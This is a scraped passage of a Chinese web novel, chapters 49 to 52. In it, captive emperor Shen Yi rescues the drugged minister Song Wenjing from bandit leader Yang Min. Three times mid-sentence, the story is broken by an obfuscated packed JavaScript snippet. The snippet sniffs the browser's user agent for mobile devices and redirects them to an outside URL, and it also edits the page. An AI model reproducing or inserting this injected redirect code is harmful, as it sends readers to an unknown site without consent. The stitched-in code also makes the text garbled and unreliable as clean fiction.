“就表面的意思。”宋闻璟不解道,“那我还有别的意思吗?” 沈翊道:“我不知道哪个意思,但你肯定不会只有一个意思。” 说罢,宋闻璟默了两秒,又为自己澄清了一遍,“我真的没有别的意思,要是你不想说我不会再问的。” “那你怎么证明?”沈翊道。 “证明?”宋闻璟愣了下,怎么还需要证明,这怎么证明?早知道不说了。 安静了两秒钟后,宋闻璟伸出手,“那……那拉勾算不算,毁约的是小狗。” “什么?”轮到沈翊愣了下。 宋闻璟道:“拉勾啊?你小时候没和人没玩过吗?” “玩过。”沈翊道,“很早之前,现在差不多也忘了。” 宋闻璟笑了笑,道:“没关系,你玩过就行。” 说罢,宋闻璟勾住沈翊伸出的小拇指,一边嘴里念念有词的说着,一边象征性地晃了两下手,直到落下最后一个字,宋闻璟才松开手,道:“这样行了吧,我不套你话,那你也可以不跟我说,好吧。” 真是奇怪。 这算什么? 等宋闻璟走远,沈翊才反应过来,太不对劲了,这算是宋闻璟在敷衍他吗? 自己有消息,宋闻璟不应该拿出点诚意来跟他交换,或者来跟他谈判,现在拉个勾就算结束了吗? 而且自己也是为什么没有反应过来,现在不应该趁着宋闻璟落魄,抢点东西过来不是更好吗? 可当时为什么会伸出手,上一次和那人拉勾是什么时候? 可宋闻璟的眉眼真的很像她。 夜晚来的很快,院子里点起灯笼,灯光晕染在窗纸上,隔断了光亮。 屋子变得又黑又冷,三人又一整日未进过食,漫长的黑夜也变得异常难熬。 无奈,三人只好靠在一起,迷迷糊糊过了一夜后,第二天天一亮,便有人来找他们了。 不过来的人不是这些府里的下人,而且几个山匪,里面还有昨晚交手的那个人。 “还是真的呢,这县老爷可真的着急了。” “就是有点可惜,明明就要嫁人了,现在却被人毁了清白。” “那能不急吗?好好的一个姑娘就这么走了,还把元老爷的金龟婿弄没了。” “不过,也是赶时候,” 门被推开,山匪就把他们带了出去,门外虽是晴日,却依旧感觉阴森森的,府里也阴沉压抑的可怕。 没过多久,三人到了灵堂,元兴安女儿的棺椁摆在中间,而屋里的两边聚满了人,他们穿着穿白衣额头绑白巾,耳边哭声不断。 元兴安见三人来,立马站起身来,手一指嘴一张便又开始要骂,旁边的人也是纷纷替元兴安这一方打抱不平,不论沈翊否认了多少遍,周围人都一口咬定沈翊不是个好东西,而且又被戳破了身份,和这种事缠在一起,确实难看。 没过多久,从门外涌进来一群拿着长棍气势汹汹的家丁,还不等元兴安开口,那昨晚的蒙面人便先开口道:“元大人想干什么?” 元兴安愤愤道:“自是要讨回公道。” 那人又道:“我们不是说过,这几个人的命归我处置吗?” 元兴安顿了两秒,又道:“那也不能这么放过他们吧。” “那你想怎么做?”他抬手指向沈翊,出声问道,“要不然说个部位,缺一点少的一点没关系,只要他还能活着就行。” “你......”元兴安一时不知道该说些什么,可也不想招惹这些人。 遮面的人笑了一声,随后转身拔出随从的剑,搭在沈翊肩膀上,问:“还没想好?要不要让我帮你选?” 元兴安默了默,还未等开口,沈翊却道:“想打算要用我换人情?那我可不同意。” “嗯?你确定还有你说话的份?”那人反问道。 沈翊道:“为什么没有,事情既然不是我做的,我为何不敢喊冤。” “还有。”沈翊挑下了眉看向元兴安,道:“你连证据都没有凭什么就来抓人,这不是等于强加罪行。” 话音一落,元兴安又气上心头,“人都躺在这里了,还说不是你干的,昨晚我们都看见了。” “是吗?”沈翊道,“人都死了怎么告诉你是我干的,难不成她是亲口告诉你的?还有,你怎么亲眼看到的?” 元兴安却一口咬定道:“反正就是你,要不然你昨晚翻进府里做什么,肯定不怀好意。” “确实。”沈翊道,“我当然不怀好意,要不然我也不会半夜翻进来,可我若是白日里来,元老爷会让我进去吗?” “元老爷真是老了,下巴上的胡子都白了,都不知道自己应该做什么,还记得自己是什么身份吗?” “那你呢?”元兴安反问道,“枉为帝王,居视法律不顾,良心道德又何在?” 沈翊笑了笑道:“那可以啊,这罪我可以认,但你得拿出证据让我信服,要不然没人能动得我一分。” “你……”元兴安气了一阵,又突然笑道:“凭什么说我动不得你一分,这里可不是京城。” 说罢,他猩红着眼看向那掩面的山匪笑道:“我想要他那双手。” 山匪点了下头,随后开口下令让下属们按住沈翊,宋闻璟和高颉赶忙去拦人,却不料还没等那些人碰到沈翊,这原本在山匪手上的剑就换了人,沈翊紧盯着被纱布遮住的面孔,只觉得这人善恶难辨。 手上的剑微微一挑想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600793|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把这碍事的面罩挑开,却又那人当了回去。 “还看着干什么,上啊。” 元兴安嗓子一吼,家丁们一愣,纷纷拿着长棍上前,一时间,灵堂里纷乱不堪,人群纷纷往门口涌去。 沈翊刚打倒几个,便看见家丁不再上前,可转头一看,却发现剩下的几个家丁都在围着宋闻璟和高颉两人打。 沈翊刚想去帮,却没想到那山匪突然向自己出了手。 混乱之际,元兴安眼见事情不好,本想偷跑出去,却又被沈翊抓了回去。 沈翊把剑架在他脖子上,低声威胁道:“让那些人停手,要不然今天就送你和女儿一起走。” 闻言,元兴安立马叫停,而地上的两个人也被打的不轻,一时竟也爬不起来。 山匪道:“你想怎么样?” 元兴安也急忙道:“大人可不能不管我啊,你说过的话可不要忘了。” “哦?”沈翊道,“原来早就勾结上了?” “那你们说了些什么?能讲给我听听吗?” “自然不能。”山匪又道,“这件事我们不追究了,你把他放了吧,反正他也对你产生什么威胁。” “不可!”元兴安却道,“我女儿就不能这么死了。” “对啊,连元老爷都知道。”沈翊道,“这是为什么?事情还没解决,想让我认下这个罪名?” 山匪顿了顿,又道:“我会帮你洗清。” 沈翊笑了一声,“就这几个字?” 话音还未落,山匪却贸然出了手,沈翊急忙躲开,身前的元兴安也赶忙逃了出去,两人交了几下手,那人却突然开口道:“对不起了陛下,今天我总得带走一个。” “什么?”沈翊心里一惊,转头看过去时,旁边的两人已然不见了。 “你想做什么?” 山匪身子一闪,笑道:“这不就劳烦陛下烦心了。” 说罢,山匪向外跑去,沈翊刚想追,三把小刀又直直冲着沈翊飞了过来,等沈翊避开后,那山匪已经从府门出去了。 沈翊走到府门时,听到一阵很微弱的喊声,抬头看过去时,发现高颉在那靠着墙根叫他,沈翊问他:“你怎么了?” 高颉哼哼唧唧地诉苦道:“他们打我,嫌弃我,还把宋大人带走了。” 沈翊问:“怎么回事?” “我也不知道,那群山匪就跟疯了一样来抢人,本来我也被压着的,但他们嫌弃我太吵又太闹就把我打了一顿留在了这里。”高颉又哼了两声道。 沈翊问:“那他们去哪了?” 高颉摇摇头,“我不知道,陛下你可一定把宋大人就回来啊,要不然……要不然就完了,早知道我就不说话了,起码我还能护着点宋大人呢。” “行了,你有这点心反正他也不知道。”沈翊刚要扶起高颉,高颉就疼得直叫,嘴里还不停的要挨个把人骂一遍。 无奈,沈翊只好背着他找了个就近的医馆看伤,高颉在床上躺着也不老实,还没过多久就要缠着沈翊问宋闻璟的下落,还时不时还乱想,说着这个不好,那个不好,催促着让沈翊别管自己快点去救宋闻璟,可沈翊自己还没想好这是怎么回事,随之便被高颉一个人硬生生带跑偏了,感觉似乎下一秒宋闻璟这个人就要从这世间消失了一般。 其实在宋闻璟醒过来时已经快晚上了,屋子里被烧的热乎乎的,是这几天从没感受过的热度。 但身上很痛,宋闻璟掀开衣袖查看时,胳膊上已经青了一块又块的,等身上攒了一些力,宋闻璟才从床上爬起来往外走,自己记得在自己晕过去之前,高颉好像也在。 可刚推开门,眼前熟悉又陌生的景象也不由得心里一紧,他又回来了。 “您醒了?” 门外站着的一个小姑娘看见他开了门,便立马凑上去,睁着漂亮的眼睛瞧他。 宋闻璟看着她愣了愣,一时不知道该说什么,道了句没事,便又退了回去。 随后,宋闻璟又瞧了一眼后面的窗户,可刚打开,便又看见两个山匪站在那里交谈。 回到床上躺了一会儿,又觉得不能在这躺着等死,而且还不知道高颉去了哪,这总得是要干的。 想了想,要不然还是从前面出去吧,一个人和两个人还是分得清的。 等宋闻璟刚起身再准备跑出去时,门却突然被推开,那个遮着面的山匪走了进来。 顿时,宋闻璟脚步一顿,随后又不禁往后退了几步,壮着胆子问道:“高颉去哪了?” “谁?”山匪道,“你旁边的那个人?” 宋闻璟点点头。 山匪却道:“不知道,我只需要你。” “什么?”宋闻璟一愣,又道:“什么意思?” 山匪道:“还能有什么意思,他对我没什么用,我带不走沈翊,带走你一个人也可以。” “明日,我会带你离开这,有人见到你肯定会比见到沈翊高兴,我也是。” 50.第 50 章 “你在说什么?”宋闻璟愣了一下,“谁要见我?” 那人轻声道:“以前的一个老相识,看样子大人已经不记得他了。” “听闻,大人在京城中可谓是权倾朝野,活得何等风光,可大人还曾记得从前的事吗?记得自己做过什么吗?” 宋闻璟不解问道:“你是谁?竟也认识我?” 那人却反问道:“大人的名号谁不知?” 宋闻璟默了默,随后偏了一下头,避开那人的目光又问:“你要带我去哪?” 那人道:“自是好去处,大人先别着急。” 说罢,那人挥了挥手,原本站在门外的小姑娘,端着一碗药走了进来,身后,还跟着几个样貌凶狠的山匪。 那人接着药,递到宋闻璟跟前道:“大人不妨喝了这碗药在休息。” “这是什么……”宋闻璟刚问了一句,抬眼便看见那几个山匪便开始蠢蠢欲动,好似下一秒就要灌进他嘴里。 那人道:“这是专门给大人抓的药,只是想让大人好好睡一觉,毕竟我现在还要大人的命,自不会害大人的,大人放心。” 宋闻璟看了看那碗药,又望了望旁边站成一排的山匪,抬在半空的手犹豫不决的碗底不断试探,随后还没等宋闻璟做好准备,那人便直接塞到宋闻璟手里。 “大人放心。”那人又重复了一遍,“起码现在不会害你,但在下也要劝大人乖一些,想必大人也不想在这多吃点苦头吧。” 宋闻璟盯着手里的药迟疑了一会儿,随后闭了闭眼,端起药喝了个干净,看到宋闻璟的动作,那人才满意地笑了笑。 喝下去还没多久,药汁的甘苦还在嘴里挥之不去,宋闻璟便已经觉得脑袋开始发晕,眼前的景象也开始变得扭曲模糊,宋闻璟迷迷糊糊地抬起手伸向面前人的面纱,想看个明白,但不知道是摸的位置错了,还是被那人躲了过去,手里抓了把空气便倒了下去,药碗也跟着摔在了地上。 那人嘱咐身后的那几个山匪道:“把人绑紧了,好好看住了,别再像上一次我那个蠢哥哥一样,不但把人放走了,还赔了一条命去。” 山匪点了点头,将宋闻璟紧紧绑在床头后,又将屋子里的窗子关的严严实实的,随后又将门上了锁。 走到门口,那人又不放心的嘱咐了一遍才转身离开。 深夜,整个山头变得寂静无声,黑暗也悄然入侵,几乎所有人的已沉睡在睡梦中,但也总有几个不睡的。 在外头守夜的山匪们,抱着自己的兵器将手叉进衣袖里,嘴边还时不时打个哈气,一遍遍抬头看着月亮什么时候才下去。 蓦地,一个黑影从月亮闪了过去,一个山匪揉了揉眼睛觉得自己出现了幻觉,又睁眼瞧了瞧四周,看着四周没有什么变化才堪堪放下心,又打了个哈气,巡视去了。 沈翊站在房顶,四周黑的可怕,根本不知道从哪里开始找,远处几处还亮着光的屋子在漆黑的夜里便显得异常明显。 沈翊跳下来,躲避着巡视的山匪,去寻亮着光的地方,他瞧瞧在窗纸上戳了一个孔,瞧了一个又一个,却还不见宋闻璟的身影。 直到他在另一间屋子里,看见了今日那个领头的山匪,他摘下了戴着的帷帽,脸颊的一侧露出一道狰狞蜿蜒在肌肤上的伤疤,看起来就像一条扭曲着身子的蜈蚣爬在了脸上。 沈翊目光不由得一顿,随后刚想扭头离去,便听见里面的人却道:“想不到你会来,这么晚了,不进来坐坐吗?” 闻言,沈翊动作一顿,随之推门走了进去,而眼前的人又重新带上了帷帽,轻笑了一声,道:“我想你不应该来,也不会来,为什么现在你会出现在这?” “所以你想我不会追过来?”沈翊问。 那人反问道:“难道你就不想摆脱他?” “我可是听闻他可对你不太好,这个皇帝你也做的很委屈吧。” 沈翊一愣,“你怎么知道的?京中有你的人?” “有或没有,有区别吗?”那人笑道,“世人都说是皇帝不作为,身边还出了祸乱朝政的奸臣,两人狼狈为奸,终于有一天会被人打下去。” “难不成你就不想为自己洗白?” “人人都想做皇帝,皇帝好做又难做,可谁不想讨个好名声,写进史书让后人仰拜。” “所以呢。”沈翊问,“你说这些想干什么?” 那人道:“我看你也如此可怜,你现在离开,我可以向你保证你以后不会被受钳制,做好一个皇帝。” “可怜?”沈翊不禁笑了一声,“所以你是在施舍我?而且我又为什么要相信你,我就愿意一辈子被人可怜吗?” 那人道:“因为我和你一样,感同身受这个词不知道你有没有听过,想必刚刚我脸上的伤疤你已经看见了,这疤就是拜宋闻璟所赐,七年前,我家破人亡,我被恩人所救这才捡回一条命,你觉得这一点我不该帮你吗?” “七年前?”沈翊不禁回想起来,七年前,也就他刚登基那会儿,没想到这个宋闻璟刚刚得了权就干这种事,果真太可恶。 “那你想做什么?”沈翊问道。 那人道:“明天我会把他一起带走,不会再回来,从此,我们就一别两宽。” 沈翊愣了愣,不禁又问:“去哪?” 那人道:“这个你不该问。” “为什么?”沈翊不解。 那人道:“不为什么,我帮你解决他,不就可以了吗?别的,你不需要知道。” “所以,你什么都不告诉我,那我怎么信你?”沈翊抿了下嘴唇,继续道,“万一,那天你又把他送了回来,又或者是你在骗我,你和他本就是一伙的。” “沈翊。”那人突然叫了他一声,“你真的是太可怜了。” “我给了你选择,你却不敢去尝试,顾虑太多会害了你,你一辈子都会活在宋闻璟的阴影里。” “你知道我的名字?”沈翊不可置信地看着他,质问道:“你是谁?” “我?”那人笑道,“一个早就死了很久的人了。” “你叫什么?”沈翊又问。 那人道:“杨闵。恩人给我取的名字。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654637|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你恩人是谁?你恩人姓杨?”沈翊问,“那你原本的名字叫什么?” 杨闵不说话,沈翊又问:“那你为什么会帮我?” 杨闵道:“见我们同样可怜,想顺手帮你一把。” 沈翊笑了笑,“我不觉得我可怜,所以用不着你可怜我。” “也是,总有人比你可怜。”杨闵道,“那今晚就当我没看见,你怎么进来的,就怎么再出去。” “什么意思?”沈翊道,“这就要赶我走了。” “那你还想做什么?”杨闵看着他,“放过你,已经是我能做到最大限度的事了,你可不要想不开。” 沈翊问:“为什么要抓我们,不对,为什么要抓他?就因为你恨他?那为什么现在不杀了他?” 杨闵道:“因为有人想见他。” “谁?”沈翊不禁问道。 “他……”杨闵张了张嘴,又转过头去,道:“你也不必知道。” “你走吧。” 杨闵又说了一遍。 “为什么不继续说,这个人就这么舍不得说不出口吗?”沈翊道。 杨闵继续不说话,沈翊却笑了笑,继续道:“那问你一个能开口的问题,宋闻璟现在在哪?” “我不可能告诉你,我也不会放他走。”杨闵开口道。 “那算了。”沈翊转过身往外走,“反正我也打算自己找。” 杨闵叫了他一声,又道:“你可别忘了这是哪?只要我现在喊一声,你就逃不出去了。” “那又怎么样?”沈翊扭头看着他笑了一声,“怎么要比比吗?是看他们先抓到我?还是我先找到人?” 话音刚落,沈翊已经没有了身影,杨闵站在原地还没反应过来,愣了两秒钟,又低声骂了一句,这人真是被打傻了,随后便出去让人敲了鼓,瞬间,整个山头接二连三的亮起光,将天边都照亮。 原本窝在被子里的山匪们立马着急忙慌地穿上衣服出去,接到通知又开始在山头翻天覆地的找。 杨闵出了门本想往关着宋闻璟的屋子那边赶,想着将人先藏在外面,可又想万一被沈翊发现了,便又很难缠,毕竟沈翊身上确实有些功夫。 无奈,杨闵先让人将大门都关了个严实,又派了不少人守着,沈翊带着个人,走的肯定走的不轻松。 后面,沈翊看着人越来越多,心里也不由得有些着急,转了又转,才发现一个屋子里没有亮灯,外面还守着好几个山匪,沈翊不由得心里一紧,在周围寻了根趁手的武器,便走了上去。 不出一会儿,手里的棍子都被打断了,这场战斗才算落下落幕,沈翊喘了口气手一甩,丢下手里的棍子,刚想去开门,便看见门上上了锁,沈翊又回头去找钥匙,花了一番功夫才把门打开。 屋子里黑朦朦的,微弱的亮光照进来,却也看不清什么东西。沈翊试着叫了宋闻璟几声,却也没得到任何回复,空气里安静的不像话,沈翊都感觉自己想错了。 走进屋子里,沈翊瞧了又瞧,才在床边看见了一个模糊不清的人影,可叫他,他却没什么反应。 51.第 51 章 直到走近细看,沈翊才看清被绑在床头边上的宋闻璟,但人就这般安安静静地被绑着,尽管沈翊叫了他多少遍,宋闻璟都没有任何反应。 后知后觉,沈翊也在心里察觉到不对劲,但感受到宋闻璟清浅的呼吸,沈翊不由得心里跟着放松下来,也不想在这浪费时间,趁着还没来人,便赶忙给人松了绑,想着现在人还活着就行,之后总会醒过来的。 “把人都带下去。” 话音刚落,房间里便响起一阵杂乱的脚步声,随之蜡烛也跟着被不断点燃,整个房间又恢复明亮。 沈翊回头,杨闵出现在他身后。 “陛下,动作太慢了,我还以为会在门口看见你。” 杨闵笑了笑,“既然陛下不愿意接受这个机会,那也劳烦走一趟吧。” 话罢,沈翊站起身,笑道:“人我已经找到了,还怕带不出去吗?” “所以,陛下这是在考验我?”杨闵顿了顿,又道:“陛下既然这么有信心,看来来的次数也不少了。” 沈翊偏了偏头默不作声,空气安静了几秒,杨闵道:“但这次怕是要让陛下失望了。” “什么意思?”沈翊看了他一眼道,“你想怎么困住我?” 杨闵摇了摇头道:“我困不住你,陛下既然能来去自如,想必想出去也只是多花费一番时间,但我可以保证的是出去之后他活不了。” 闻言,沈翊不由得愣了下,随之扭头看了眼现在还躺在地上的宋闻璟,怪不得总感觉有点奇怪呢。 沈翊看向杨闵问:“你做了什么?” 杨闵道:“我说过,我绝对不会放他走,即使他被你救走,没有解药,五日之后,大罗神仙也难救。” “这药……听着挺不错的。”沈翊默了默,又问,“这药是你自己做的?” 杨闵点头道:“是。” “问这个做什么?来这儿我就只带了这一副,只是没想到陛下竟会来送死。” “有点可惜了。”沈翊道,“感觉你这药还不错,能的话我还想带几幅回去。” 杨闵一愣,随后又道:“当然可以。等陛下跟我回去,多少副都不成问题。” “好啊。”沈翊笑了一声,问道:“那那人我也能见到吗?” 杨闵默了默,随后点了点头道:“可以。” 两人站在原地,沈翊看着他不知道在想什么,随后又道:“那解药现在可以给我了吗?” “不行。”杨闵补充道,“起码现在不行,等明日出了这镇子……再说。” “所以,你原本就不想给,你根本就不想让他活下去。”沈翊道,“如果既然这样,这人救与不就好像也没什么区别。” 杨闵问:“所以你现在想走了?” 沈翊反问:“那你还会放我走吗?” “不会。”杨闵回答的干脆,“我已经给过陛下机会了,陛下不领情,这也说明我们的谈判早就结束了。” “而且,陛下你这太容易善变,就这么放你回去,万一到时候你又反悔了呢?” “怎么会?”沈翊道,“是刚开始你又没告诉我,要不然我还能费这么大的功夫来救一个死人吗?” 杨闵听完这话,仔细思考了一下,又问沈翊道:“不是你自己要来救的吗?人活着还是死的你不应该都要救走的吗?” “为什么?”沈翊问,“我凭什么要来给你收尸?” “要不然你现在把解药给我,我跟你走,要不然现在就放我走,这个好人我可不想做。” “不行。”杨闵回道,随后转过身往外走,“陛下还是省点力气吧,要不然一会儿会闹的很难看的。” “等等……” 沈翊刚抬起手准备抓住他,不料杨闵转身撒了一把不知道是什么的粉末,沈翊呛的停不下来,粉末将要消散之际,杨闵从口袋里摸了一颗药丸眼疾手快地塞到了沈翊嘴里。 “什么东西?”沈翊咳了两声,抬眼问他。 杨闵道:“我也不知道,我刚研制出来的还没用过呢。” “你……”沈翊有些震惊地看着他,“这你就给我吃,你要害死我?” 杨闵平静道:“不会死人的,死人的恩人没教过我这些死人的配药方,宋大人刚刚喝的还是我自己学的,本来书上说的是三天内必死无疑,但不知道哪里出了问题,就成了五天之后,所以我说解药只有我自己有。” “那你怎么自己乱配?” “没有乱配,我知道的,但配的太多我就不知道有些药丸的功效了。” “你……” “所以,还是劝陛下老实一点吧,我这还有好多,陛下应该也不想都试试吧。” “确实,我也不敢相信你。”沈翊又道,“那现在趁药效还没上来,我是不是还有机会?” 说罢,沈翊朝着杨闵打了个措手不及,随后飞快往门口的方向逃去,原本守在门口的山匪也纷纷追了上去,随后闹得动静越来越大,山匪也变得越积越多。 渐渐地,沈翊感觉到在体内涌上来的药效,这药开始逐渐麻痹他的神经,他的反应也跟着慢了下来,片刻之间,沈翊甚至还没过来,身后的杨闵便踩着他的后背追了上来。 杨闵看着他道:“不要白费力气。” 沈翊愣了一会儿,随后笑了笑往后看了一眼,道:“那不玩了,我这就回去,但能不能解了我身上的药效,我觉得我好像变傻了一点。” “又不会要你命,没事的,睡一觉就好了。”杨闵道,“我手里没有解药,本就是做着玩的。” “啊?”沈翊又反应了一会儿,突然问他:“屋子在那边?我好像记不清了。” 杨闵道:“一直往后走就到了,我现在送你回去。” 沈翊点点头,随后转过身看着眼前被围着密密麻麻的人,小心的挤出一道缝隙,嘴里还碎碎念念道:“不好意思都让让,我要回去睡觉了。” 杨闵盯了他两秒钟,随后又想了想刚刚喂给沈翊的是颗什么药丸,可又怕是做的时间太远,药效变了质才把人变傻了,又或者是沈翊在装。 “喂,走不走?” 沈翊站在前面叫他,杨闵拉回思绪,旁边的山匪立马让出一道路,让杨闵过去。 等杨闵一过去,沈翊便立马凑了过去,小声问他道:“你是这里的老大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686130|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊?他们好像都很怕你,那你能不能跟我交个朋友,以后照着我一点?行吗?我什么都能做。” 老大? 杨闵一听突然笑了一声,这药好像不是把沈翊变傻了,是让沈翊暴露本性了。 “可以。”杨闵道,“但你得听话。” “我最听话了。”沈翊挑了下眉,像高兴了不得了,往前蹦了两下,又掰着指头开始道:“但你也不能嫌弃我,讨厌我,骗我,行不行?” “为什么……”杨闵还没等将嘴里的话都说出来,便看见沈翊突然向自己跑了过来。 几乎在沈翊扑在他身上的一瞬间,耳边一阵撕裂冷风的声音骤然响起。 杨闵看着眼前插在沈翊身上的利箭,不由得一顿,他看着沈翊慢悠悠从他身上爬起来,还冲着他笑道:“我穿着衣服厚一点都不……疼。” 话音刚落,沈翊也跟着倒了下去,杨闵这才觉得沈翊是真的傻了。 说不疼是假的,这根箭差点穿透沈翊身体,箭头取了将近一个晚上,因为沈翊的那一扑位置出现了偏差,虽没有伤什么重要部分,但杨闵也能想到,要是这根箭落在自己身上会成什么样子。 可在第二天,沈翊还是被疼醒的,旁边还躺在昏迷不醒的宋闻璟,杨闵真是说到做到,说明天走就明天走,沈翊忍着痛坐起身,移到靠近马车里的角落,敲了敲车壁想叫人。 “怎么了?” 杨闵掀开幕帘,看着沈翊惨白的脸道。 沈翊吸了一口凉气,道:“怎么这么着急,能不能慢点,很疼,我不能死在这半路吧。” 杨闵道:“昨天不是还说一点都不疼吗?” “嗯……”沈翊不敢喘的太厉害,只好祈求的小声道:“那要不然你再给我吃一颗,要不然止疼的也行。” “我昨天还救了你,你不能这么恩将仇报吧。” 杨闵道:“没有药。” “什么?”沈翊道,“早知道就不救你了。” “你会的。” 杨闵笃定道,“陛下,你变了好像又没变,之前你总是喜欢哭,其他皇子都欺负你,但你却总说以后要当好皇帝,才不与和他们计较。” “以前?”沈翊道,“我说的可多了,我怎么不记得了?” “而且,你怎么知道?难不成你从小就开始监视我?” 杨闵默了默,又道:“从前我们还曾一起读过书。” 闻言,沈翊不禁愣了下,随后笑道:“我真是越来越想知道你叫什么,为什么现在又在这?曾经一起读过书的还剩下几个人?现在不都除了死了就是消失了。” “就跟你一样,为什么不打算回来?” “因为回不去了,京城已经没了我的位置。” 沈翊问:“因为宋闻璟吗?” 杨闵默了默,“大部分是。” 说罢,杨闵扔进去一个小瓷瓶,“你要的东西。” “你不是说没有药吗?”沈翊问他。 杨闵道:“这是给他的。” 沈翊问:“你恨他,那为什么还想让我救他?” 杨闵道:“因为不想欠你的人情。” 52.第 52 章 宋闻璟醒来时,睁眼便看见沈翊那张熟悉的脸,此刻,原本慌乱不堪的心也不由得一紧,他伸出手猛然起身圈住沈翊的脖颈将人拉进怀里。 真没想到,沈翊会来救自己,这个这么恨他的人,居然会冒死前来,一时之间,宋闻璟也想不明白了,但不得不承认的是,多日的相处,自己竟会从沈翊身上找到了几份安心。 “你……” “轻点,松手行不行,疼……” 宋闻璟还没等张口的,怀里的沈翊明显地颤了一下。闻言,宋闻璟松了手,抬眼便看见沈翊的脸色又白一点,连着额头上也跟着冒出几片细密的冷汗。 “你怎么了?” 宋闻璟坐在他身旁被吓得不敢动了,呆愣愣地看着沈翊抬手捂住的地方,衣服隐约有血渗出,才明白沈翊刚刚为什么喊疼了。 等这一阵痛感不那么强烈了,沈翊这才将紧绷起来的身体放松下来,沾在手上的血,也看起来变得很晃眼,沈翊闭上眼,迷迷糊糊地摸到了自己的衣摆,用手在上面擦了擦。 “你怎么样?” 宋闻璟看了看被血染红的衣面,又看了看沈翊惨白的小脸,不知为何心里总觉得很难受。 是因为感觉对不起沈翊,让沈翊受了伤,还是觉得沈翊其实并没有那么可怕也并没有那么恨他了,要不然他也不会来救自己……虽然也把自己搭了进去…… 很纠结又很奇怪。 可沈翊不说话,他虚软地靠在车壁上,好像没了以前的活力,整个人软趴趴的,宋闻璟也不敢再动他,只能乖乖地坐在他身边守着他,寻找那份自以为的安全感,就像流浪的小猫找到了安身之地。 马车不知道要去哪,宋闻璟觉得自己很没用,他没有很厉害的身手,不能救出沈翊,反倒还一次又一次地连累了他,可如果现在还在京城,他又无法确定自己是否活在原有的剧情中。 既然沈翊不那么恨自己了,他或许可以和沈翊冰释前嫌,做个朋友。 宋闻璟这般想着,外面不知道发生了什么,原本安稳行驶的马车突然停了下来,由于惯性,两人都不受控制地往前移,宋闻璟下意识地张开胳膊将沈翊护住怀里。 可这一移,他看见原本靠在沈翊身后的车壁,被血染红,就连沈翊身后的衣衫都被血染浸,这一瞬间,宋闻璟脑袋突然空了一下。 他一边叫着沈翊的名字,一边轻轻拍他的脸,可沈翊全然没有任何反应,只有身上那略微地起伏,证明着沈翊还活着,宋闻璟刚想探出头去叫人,却不料外面早就乱成了一团。 宋闻璟看着怀里虚弱不堪的沈翊,刚想带着沈翊趁乱逃走,马车却突然又动了起来,似乎还变得更快了,道路上的一些石子和浅坑,都让马车抖动的厉害,宋闻璟用身子护着沈翊躲在马车的角落里,尽可能让两人少受到颠簸。 直到马车停下来,宋闻璟还没从颠簸里适应过来,便看见马车的幕帘被人掀了起来,一个熟悉的身影走了进来。 “宋大人。” 柳溪叫了他一声。 宋闻璟一时没反应过来,“你……你怎么在这?” 柳溪道:“陛下叫我来的。” “陛下……” 话音刚落,宋闻璟突然想起怀里的沈翊,刚想开口说,便看见柳溪已经把手搭在沈翊的手腕上,皱了皱眉,道:“可怜,怎么把自己搞成这副样子。” “不是……不是他。”宋闻璟立马开口道,“都是我不好,陛下为了救我才变成这样的,怪我,不怪他。” 说罢,宋闻璟眼眶一红,一颗珍珠般大的泪珠就这么毫无征兆地落下了来,随后更多的小泪珠如下雨般,一颗一颗砸在沈翊衣服上,与血融合。 柳溪一时也不知道该说什么,从怀里掏出了颗止血的药丸,塞到沈翊嘴里,随后便道:“没事,陛下命硬的很,流点小血一点都无伤大雅。” 药丸慢慢在嘴里化开,内里的苦涩在舌尖散开,沈翊皱了皱眉,见状,柳溪立刻捂住了沈翊的嘴,沈翊吐不出来只能颇为艰难地做了个吞咽的动作。 “很珍贵的,我都自己都舍不得吃,这次算便宜你了。” 柳溪收回手,又看向宋闻璟道:“宋大人别哭了,现在哭还太早了,先收着。” “你……一个人来的吗?”宋闻璟拿袖子擦了擦眼泪,抬头问他。 柳溪默了下,“没有没有,还有别人,我嫌他们太慢就先自己过来了。” “要不然我们先回镇子上吧,我身上就这种药,要不然一会儿大人您又得重哭一遍了。” “嗯?” 宋闻璟点点头,摸了摸自己发热的眼眶,眼泪好似还藏在眼底,轻轻一按就能流出。 柳溪刚准备转过身,宋闻璟突然叫住他,道:“柳大人……那个能不能慢点。” “嗯……好啊。” 没过多久,沈翊身上的血流的不再那么凶猛,但宋闻璟身上的这件衣服也被染成了花,血腥味浓重的不成样子。 直到进了镇子,街上还留存着白色的纸钱,嵌在雪里,又或者飘在屋顶,落在路边。 柳溪不禁开口问:“这镇上死了人?” 宋闻璟掀开帘子,往外看了一眼,突然想起什么,道:“元县令的女儿前不久被害了。” “嗯。”柳溪点了点头。 找到了镇子上就近的一家医馆,柳溪下了车,说:“找到了。” 